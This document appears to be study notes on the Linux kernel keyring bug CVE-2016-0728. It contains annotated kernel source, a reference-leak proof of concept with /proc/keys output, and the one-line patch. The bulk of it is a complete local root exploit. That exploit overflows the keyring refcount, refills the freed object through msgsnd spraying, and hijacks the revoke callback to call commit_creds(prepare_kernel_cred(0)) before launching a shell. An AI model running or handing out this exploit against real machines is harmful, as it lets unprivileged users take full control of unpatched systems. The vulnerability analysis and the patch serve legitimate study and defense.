CVE-2016-0728

/*
 * Join the named keyring as the session keyring if possible else attempt to
 * create a new one of that name and join that.
 *
 * If the name is NULL, an empty anonymous keyring will be installed as the
 * session keyring.
 *
 * Named session keyrings are joined with a semaphore held to prevent the
 * keyrings from going away whilst the attempt is made to going them and also
 * to prevent a race in creating compatible session keyrings.
 */
long join_session_keyring(const char *name)
{
	/* ... */

	/* look for an existing keyring of this name */
	keyring = find_keyring_by_name(name, false);
	if (PTR_ERR(keyring) == -ENOKEY) {
		/* not found - try and create a new one */
		keyring = keyring_alloc(
			name, old->uid, old->gid, old,
			KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
			KEY_ALLOC_IN_QUOTA, NULL);
		if (IS_ERR(keyring)) {
			ret = PTR_ERR(keyring);
			goto error2;
		}
	} else if (IS_ERR(keyring)) {
		ret = PTR_ERR(keyring);
		goto error2;
	} else if (keyring == new->session_keyring) {
		/* Here means that the input name just match with old keyring */
		ret = 0;
		goto error2; 	// <== BUG HERE
	}
	/* ... */
	key_put(keyring);
okay:
	return ret;

error2:
	mutex_unlock(&key_session_mutex);
error:
	abort_creds(new);
	return ret;
}

	} else if (keyring == new->session_keyring) {
		/* Here means that the input name just match with old keyring */
		ret = 0;
		goto error2; 	// <== BUG HERE
	}

	} else if (IS_ERR(keyring)) {
		ret = PTR_ERR(keyring);
		goto error2;
	} 

/*
 * Find a keyring with the specified name.
 *
 * All named keyrings in the current user namespace are searched, provided they
 * grant Search permission directly to the caller (unless this check is
 * skipped).  Keyrings whose usage points have reached zero or who have been
 * revoked are skipped.
 *
 * Returns a pointer to the keyring with the keyring's refcount having being  // <<== LOOK HERE
 * incremented on success.  -ENOKEY is returned if a key could not be found.
 */
struct key *find_keyring_by_name(const char *name, bool skip_perm_check)
{
	/* ... */
	if (keyring_name_hash[bucket].next) {
		/* search this hash bucket for a keyring with a matching name
		 * that's readable and that hasn't been revoked */
		list_for_each_entry(keyring,
				    &keyring_name_hash[bucket],
				    name_link
				    ) {
			/* ... */
			/* we've got a match but we might end up racing with
			 * key_cleanup() if the keyring is currently 'dead'
			 * (ie. it has a zero usage count) */
			if (!atomic_inc_not_zero(&keyring->usage))
				continue;
			/* ... */
			keyring->last_used_at = current_kernel_time().tv_sec;
			goto out;
		}
	}

	keyring = ERR_PTR(-ENOKEY);
out:
	read_unlock(&keyring_name_lock);
	return keyring;
}

#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>

int main(int argc, const char *argv[])
{
	int i = 0;
	key_serial_t serial;

	serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING,
			"leaked-keyring"); 	// first time, create this keyring
	if (serial < 0) {
		perror("keyctl");
		return -1;
	}
 	printf("create keyring: %d\n", serial);

	if (keyctl(KEYCTL_SETPERM, serial,
		   KEY_POS_ALL | KEY_USR_ALL) < 0) { 	// key permissions set
	// KEY_POS_ALL Grant the (view,read,write,search,link,setattr) permission to a process that possesses the key
	// KEY_USR_ALL Grant permissions to all same UID process
		perror("keyctl");						
		return -1;
	}

	for (i = 0; i < 100; i++) {
		serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, 	// keep triggerring
				"leaked-keyring");
		if (serial < 0) {
			perror("keyctl");
			return -1;
		}
	}

	return 0;
}

# cat /proc/keys
1028f9de I--Q---     2 perm 1f3f0000     0 65534 keyring   _uid.0: empty
25a12564 I------     1 perm 1f030000     0     0 keyring   .id_resolver: empty
297781ea I--Q---     1 perm 1f3f0000     0 65534 keyring   _uid_ses.0: 1
33a188fa I------     1 perm 1f030000     0     0 keyring   .dns_resolver: empty
[    8.840313] cat (968) used greatest stack depth: 13648 bytes left
# ./poc
create keyring: 330089631
# cat /proc/keys
1028f9de I--Q---     2 perm 1f3f0000     0 65534 keyring   _uid.0: empty
13acc49f I--Q---   100 perm 3f3f0000     0     0 keyring   leaked-keyring: empty
25a12564 I------     1 perm 1f030000     0     0 keyring   .id_resolver: empty
297781ea I--Q---     1 perm 1f3f0000     0 65534 keyring   _uid_ses.0: 1
33a188fa I------     1 perm 1f030000     0     0 keyring   .dns_resolver: empty
[Serial][Flags][Usage][Expiry][Permissions][UID][GID][TypeName][Description] :[Summary]

struct key {
	atomic_t		usage;		/* number of references */
	/* ... */
}

// secuirty/keys/key.c 
struct key *key_alloc(struct key_type *type, const char *desc,
		      kuid_t uid, kgid_t gid, const struct cred *cred,
		      key_perm_t perm, unsigned long flags)
{
	/* allocate and initialise the key and its description */
	key = kmem_cache_zalloc(key_jar, GFP_KERNEL);
	/* ... */
}
EXPORT_SYMBOL(key_alloc);

void __init key_init(void)
{
	/* allocate a slab in which we can store keys */
	key_jar = kmem_cache_create("key_jar", sizeof(struct key),
			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
	/* ... */

/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */

/*修改第二次for循环次数*/
/*调整sleep时间*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>

#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff8106df50)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff8106e310)

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[])
{
	const char 			*keyring_name;
	size_t				i = 0;
    unsigned long int	l = 0x100000000/2;
	key_serial_t		serial = -1;
	pid_t 				pid = -1;
    struct key_type 	*my_key_type = NULL;
    int					msqid;
	
	struct 
	{
		long mtype;
		char mtext[STRUCT_LEN];
	} msg = {0x4141414141414141, {0}};
	
	if (argc != 2) {
		puts("usage: ./keys <key_name>");
		return 1;
	}

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
    my_key_type = malloc(sizeof(*my_key_type));
    my_key_type->revoke = (void*)userspace_revoke;	// backdoor function
	
    memset(msg.mtext, 'A', sizeof(msg.mtext));
	
    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
	
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
	
    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
	
    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }
	
    keyring_name = argv[1];
	
	/* Set the new session keyring before we start */
	serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
	
	if (serial < 0) {
		perror("keyctl");
		return -1;
    }
	
	if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
		perror("keyctl");
		return -1;
	}

	puts("Increfing...");
	
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
            sleep(5);
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
	
    sleep(20);
	
    /* here we are going to leak the last references to overflow */
    for (i=0; i<3; ++i) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
	
    puts("finished increfing");
    puts("forking...");
	
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i = 0; i < 64;i++) {
        pid = fork();
		
        if (pid == -1) {
            perror("fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
			
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
                exit(1);
            }
			
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                    perror("msgsnd");
                    exit(1);
                }
            }
			
            sleep(-1);
            exit(1);
        }
    }
    
    puts("finished forking");
    //sleep(5);
    
    /* call userspace_revoke from kernel */
    puts("caling revoke...");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
        perror("keyctl_revoke");
    }
    
    printf("uid=%d, euid=%d\n", getuid(), geteuid());
		
    execl("/bin/sh", "/bin/sh", NULL);
	
    return 0;
}

--- a/security/keys/process_keys.c
+++ b/security/keys/process_keys.c
@@ -794,6 +794,7 @@ long join_session_keyring(const char *name)
 		ret = PTR_ERR(keyring);
 		goto error2;
 	} else if (keyring == new->session_keyring) {
+		key_put(keyring);
 		ret = 0;
 		goto error2;
 	}